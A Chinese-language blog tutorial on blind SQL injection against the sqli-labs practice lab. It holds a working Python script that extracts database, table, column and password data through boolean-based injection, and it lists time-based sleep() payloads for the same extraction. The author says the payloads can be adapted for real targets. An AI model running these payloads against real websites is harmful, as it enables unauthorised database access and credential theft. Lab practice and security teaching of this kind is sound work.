首页 > 编程语言 >布尔盲注 + 时间盲注 python脚本

布尔盲注 + 时间盲注 python脚本

时间:2024-10-19 13:19:06浏览次数:3  
标签:回显 python ascii substr table 布尔 盲注 id schema

布尔盲注

布尔盲注使用场景常见于:

页面存在sql注入漏洞但是不会回显报错信息,会对输入内容的查询结果正确与否有不同的回显

这时就需要根据页面的回显结果判断输入的内容是否正确,这个过程手动操作太过麻烦,还容易出现纰漏,因此用脚本代替手动操作是很好的选择

下面是以sqli-labs靶场中的一些关卡环境进行布尔盲注的代码,根据实际情况替换语句即可

import requests
#url填入sql注入页面网址
url= 'http://127.0.0.1/sqli/Less-5/'

res =""

payload1 ="?id=1'and(ascii(substr((select(database())),{},1))>{})%23" #爆破库名
payload2 ="?id=1'and(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='security')),{},1))>{})%23"#爆破表名
payload3 ="?id=1'and(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_schema='security')and(table_name='users')),{},1))>{})%23" #爆破字段名
payload4 ="?id=1'and(ascii(substr((select(group_concat(password))from(security.users)),{},1))>{})%23"   #爆破字段数据
for i in range(1,1000):
    low = 32
    high = 128
    mid =(low + high) // 2
    while(low < high):
        #根据上面要执行的操作选择对应的payload
        #payload = payload1.format(i,mid)  
        #payload = payload2.format(i,mid)  
        payload = payload3.format(i,mid)  
        #payload = payload4.format(i,mid)

        new_url = url + payload
        r = requests.get(new_url)
        if "You are in..........." in r.text:
        #填入查询正确时的回显内容
            low = mid + 1
        else:
            high = mid
        mid = (low + high) //2
    if (mid == 32 or mid == 132):
        break
    res +=chr(mid)
    print(res)
print(res)

 代码中的查询语句用括号包围,避免了使用空格,可以预防空格被过滤的情况,实用性更强

 如果页面对于输入正确错误的回显结果不是有区分度的文字,而是图片之类的格式时,上面的代码就不适用,因为无法获取回显正确时的标志,这时可以利用sqlmap进行自动盲注

时间盲注

当sql注入页面不会回显报错信息,同时对于输入内容的查询结果只会回显一种情况,无法看出是正确还是错误时,就需要用到时间盲注,利用sleep()函数制造时间延迟,由回显时间来判断查询结果是否正确

判断库名长度

//判断库名长度
?id=1' and if(length(database())>8,1,sleep(3))%23

 如果if 条件正确,立即回显,条件错误延迟3秒回显

 

爆破库名

//爆破库名
?id=1' and if(ascii(substr(database(),1,1))=115,1,sleep(3))%23

//判断数据库第一个字母的ascii码是否为115

爆破表名

//爆破表名
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit x,1),z,1))>100,1,sleep(3))%23

//x表示第x+1个表,后面的1表示截取一行,z表示substr()函数截取选中的表中第z个字母,后面的1表示只截取一个单位

 例如: 下面是sqli-labs靶场中的security数据库中的所有表名,以sqli-labs第9关环境演示:

重要的数据都在users表中,但是users表在第四行,所以需要把上面的x改为3  变成 limit 3,1


?id=1' and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1)))<120,1,sleep(3))%23

实战情况下如果不知道这些信息,只能逐个查询爆破,得到所有表名,再选择其中一个重要的表

 

爆破字段名

//爆破字段名
?id=1' and if((ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit x,1),z,1)))>100,1,sleep(3))%23

//x表示表中第x+1列字段名   z:substr()函数截取的第x+1列的第z个字母   

?id=1' and if((ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)))>100,1,sleep(3))%23

 

爆破字段数据

?id=1' and if((ascii(substr(( select password from security.users limit 0,1),1,1)))>100,1,sleep(3))%23

标签:回显,python,ascii,substr,table,布尔,盲注,id,schema
From: https://blog.csdn.net/weixin_73904941/article/details/143060137

相关文章

  • 大数据毕业设计基于python的京东食品数据分析和可视化django+可视化大屏分析
    文章目录前言详细视频演示一、项目介绍二、功能介绍三、核心代码数据库参考四、效果图五、文章目录前言  基于Python的京东食品数据分析和可视化项目涉及多个步骤,包括数据收集、数据清洗、数据分析以及数据可视化。由于直接获取京东食品数据的API可能受限或需要......
  • Python文件操作
    一:文件的编码1.什么是编码?编码就是一种规则集合,记录了内容和二进制间进行相互转换的逻辑。编码有许多中,我们最常用的是UTF-8编码2.为什么需要使用编码?计算机只认识0和1,所以需要将内容翻译成0和1才能保存在计算机中。同时也需要编码,将计算机保存的0和1,反向翻译回可以识......
  • python在word文档中插入题注和查找题注
    目录1、打开word文档2、在文档中为图片插入题注3、在文档中为表格插入题注4、遍历所有题注5、更新题注编号在自动化处理word时,可以使用脚本为word文档中图片和表格插入题注;也可以查找word文档中已经插入的题注,查看并修改。1、打开word文档importwin32com.clientas......
  • 电子学会代码编程Python等级考试24年9月一级真题和答案解析
    1.下列选项中关于turtle.color('red')语句的作⽤描述正确的是?()A.只设置画笔的颜⾊为红⾊B.只设置填充的颜⾊为红⾊C.设置画笔和填充的颜⾊为红⾊D.设置画笔的颜⾊为红⾊,设置画布背景的颜⾊为红⾊答案解析:C,turtle.color('red')语句会将画笔和填充颜⾊都设......
  • 使用 Python 实现验证码识别与自动化登录
    安装所需依赖首先,确保你已经安装了Python。然后,可以使用pip安装所需的库:bashpipinstallrequestspillowpytesseract确保你也安装了TesseractOCR。可以从TesseractGitHub获取安装指南。下载验证码图片使用requests库下载验证码图片并保存到本地:pythonimpo......
  • 如何安全运行别人上传的Python代码?
    写后端的同学,有时候需要在网站上实现一个功能,让用户上传或者编写自己的Python代码。后端再运行这些代码。涉及到用户自己上传代码,我们第一个想到的问题,就是如何避免用户编写危险命令。如果用户的代码里面涉及到下面两行,在不做任何安全过滤的情况下,就会导致服务器的Home文件夹......
  • 一位60后老程序员从零学习Python的感悟
    AI时代,Python因其语法流畅、上手简单、生态强大,被越来越多的企业和个人所青睐,成为大数据、人工智能的首选编程语言,由于Python的扩展性强大,在其他几乎所有领域,甚至办公、小游戏等,都可以迅速上手。近几年更是在编程语言排行榜中稳居第一,使用人数也持续攀升。在全民学Python的热......
  • python实现rsa加密
    模拟效果:用户注册/登陆成功,返回自己的公钥,注册时候生成的私钥和公钥入库。下次进来的时候,加解密是动态的,也就是每个用户都不一样fromcryptography.hazmat.backendsimportdefault_backendfromcryptography.hazmat.primitives.asymmetricimportrsa,paddingfromcryptograp......
  • python+uniapp微信小程序线上点餐管理信息系统java+nodejs-毕业设计
    前端开发框架:vue.js数据库mysql版本不限后端语言框架支持:1java(SSM/springboot)-idea/eclipse2.Nodejs+Vue.js-vscode3.python(flask/django)--pycharm/vscode4.php(thinkphp/laravel)-hbuilderx数据库工具:Navicat/SQLyog等都可以 随着科技的不断发展,移动互联网......
  • python+vue基于django/flask的在线投票管理系统java+nodejs-计算机毕业设计
    目录技术栈和环境说明具体实现截图预期达到的目标系统设计详细视频演示技术路线解决的思路性能/安全/负载方面可行性分析论证python-flask核心代码部分展示python-django核心代码部分展示研究方法感恩大学老师和同学源码获取技术栈和环境说明本系统以Python开发语言......